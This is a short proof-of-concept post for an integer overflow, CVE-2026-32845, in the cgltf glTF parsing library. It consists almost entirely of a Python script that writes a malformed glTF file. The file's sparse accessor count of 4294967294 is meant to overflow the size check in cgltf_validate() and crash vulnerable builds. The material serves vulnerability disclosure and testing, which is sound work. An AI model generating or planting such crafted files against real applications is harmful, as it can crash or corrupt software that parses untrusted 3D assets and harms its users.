CVE-2026-32845 cgltf整数溢出漏洞

import json # This script generates a malformed glTF JSON structure to trigger the integer overflow. # The vulnerability exists in cgltf_validate() when checking sparse accessors. # Construct a minimal glTF structure with a sparse accessor # containing attacker-controlled size values designed to overflow. poc_data = { "asset": {"version": "2.0"}, "meshes": [{ "primitives": [{ "attributes": {"POSITION": 0}, "indices": 0 }] }], "accessors": [{ "bufferView": 0, "componentType": 5123, # UNSIGNED_SHORT "count": 10, "type": "SCALAR", "sparse": { "count": 4294967294, # Large value to trigger overflow "indices": { "bufferView": 0, "byteOffset": 0, "componentType": 5123 }, "values": { "bufferView": 0, "byteOffset": 0 } } }], "bufferViews": [{ "buffer": 0, "byteLength": 20 }], "buffers": [{ "byteLength": 20, "uri": "data:application/octet-stream;base64,AAAAAAAAAAAAAAAA" }] } # Save to file with open("malformed.gltf", "w") as f: json.dump(poc_data, f) print("Malformed glTF file generated: malformed.gltf") # Load this file using a vulnerable version of cgltf to trigger the crash.